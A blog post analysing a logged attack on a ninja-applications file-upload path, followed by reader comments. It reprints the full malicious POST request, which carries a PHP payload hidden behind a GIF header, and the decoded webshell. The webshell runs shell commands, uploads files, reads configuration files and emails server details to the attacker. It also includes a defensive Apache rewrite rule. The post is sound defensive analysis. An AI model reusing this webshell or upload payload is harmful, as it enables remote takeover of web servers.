Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability

Looking at my web server logs I noticed a new attack signature:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1

With user-agent libwww-perl/5.808

Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack:

# A surprising amount of malware sends URIs with two leading slashes. While
# technically not illegal it is an extremely strong malware signal. No
# legitimate browser or web crawler would do that.
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteCond %{THE_REQUEST} ^\S+\s+// [NC]
RewriteRule ^ /blocked.php [END,E=error-notes:invalid-uri]

Searching Google for that path turns up lots of matches on porn sites. Apparently this is a very popular piece of code in that industry. I did find one hit on the second result page:

google search result

[~] [Shell Upload:] Ninja Application File Upload Vulnerability ...
hackforums.net/showthread.php?tid=4993982
3 days ago - 3 posts - ‎2 authors
Today I Will Show You How To Upload Shell/File To Website Using ... Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php.

Adding the word “vulnerability” to the search returned far fewer results. It looks like the earliest public discussion of this vulnerability is three weeks ago on 2015-09-02. And the few search results I looked were all aimed at telling other hackers how to exploit the vulnerability. So apparently this is a recently found security vulnerability and thus I suspect I’ll see many more attacks against this path in the future.

The contents of this particular attack were:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: libwww-perl/5.808
Content-Length: 1927
Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY
Content-Disposition: form-data; name="file"; filename="myluph.jpg"
Content-Type: image/jpeg

GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?< ?php
set_time_limit(0);
error_reporting(0);

eval(gzinflate(str_rot13(base64_decode('zUlbQttVFH5eJP7DMBvJj…')))); ?>
--xYzZY
Content-Disposition: form-data; name="name"

myluph.php
--xYzZY--

The uploaded file is identified as a “GIF image data, version 89a, 16129 x 16129” by the UNIX file command. Replacing the eval with print and executing the file (it doesn’t matter if you leave the GIF header intact) via php -f myluph.jpg > myluph.php results in the content below in myluph.php. As you can see it’s a very basic backdoor. It allows for uploading arbitrary files, executing arbitrary shell commands, and has one special command “baca” to return the file ../../configuration.php. When invoked it sends email to jalangsaya@gmail.com with a subject line that begins “Hasil Bajakan” followed by information identifying the infected server.

if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/.libs.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF jalanG";}
else {$security= "SAFE_MODE : ON jalanG";}
echo "<title>jalanG</title><br>";
$dataku = "POWERED BY jalanG";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM :ready.buyer";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}

Published by

Kurtis Rader

I’m first and foremost a Secular Humanist and Atheist. To pay the bills I’m a software engineer. When not working I walk or play with my dogs, read lots of non-fiction (and some fiction), and watch lots of movies.

3 thoughts on “Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability”

  1. Hi,

    I came to comment after reading the post in an email from WordPress and was immediately blocked by my overly protective antivirus heuristics. It’s not the first time and I’ve seen it before during research of these. You may want to redact or remove the code samples or some visitors could be scared.

    I googled the guys name, Hasil Bajakan, and he appears to be a real person from Indonesia. I’m baffled. Isn’t it stupid to include his real name in an exploit code? A typical script kiddie.

    Now, second search result is something useful. It’s an online tool for decoding obfuscated PHP:
    http://www.unphp.net/decode/679de4fc51ee14cabbd30c70f9bef8cf/
    I had never seen it before. Could be handy for analysing samples without potentially compromising your system.

    I’ve already blocked libwww-perl.* but I will add the double-slash as well. Last night my own wp-login.php was brute-forced for two hours using “POST //wp-login.php HTTP/1.0”, lacking any normal headers and continuing despite 403 responses. All attempts were for username identical to hostname without TLD. Is it worth spending time and computing resources if they can’t format a URL and determine default username from author links? It’s not a rocket science. 🙂

  2. I received an email from another person who said that ClamAV had blocked one of my articles. Since I’ve only included the entire attack script twice, and both were in the past day, it’s not obvious how big a problem doing so will be for people. On the one hand I don’t want my article to be hard to read just because antivirus software detects the malware I’m talking about. On the other hand I want search engines to index that code so it’s easy to find.

    Decoding obfuscated PHP is pretty easy. I also found, and used one time, http://www.unphp.net. It’s easier and faster to do it myself. Especially since I do it by extracting the mod_dumpio data from my Apache error log. I’ll be writing another article that includes the scripts I use to do so.

    As for your last observation that “it’s not rocket science” I can only point out that most hackers are in fact nothing more than “script kiddies”.

Comments are closed.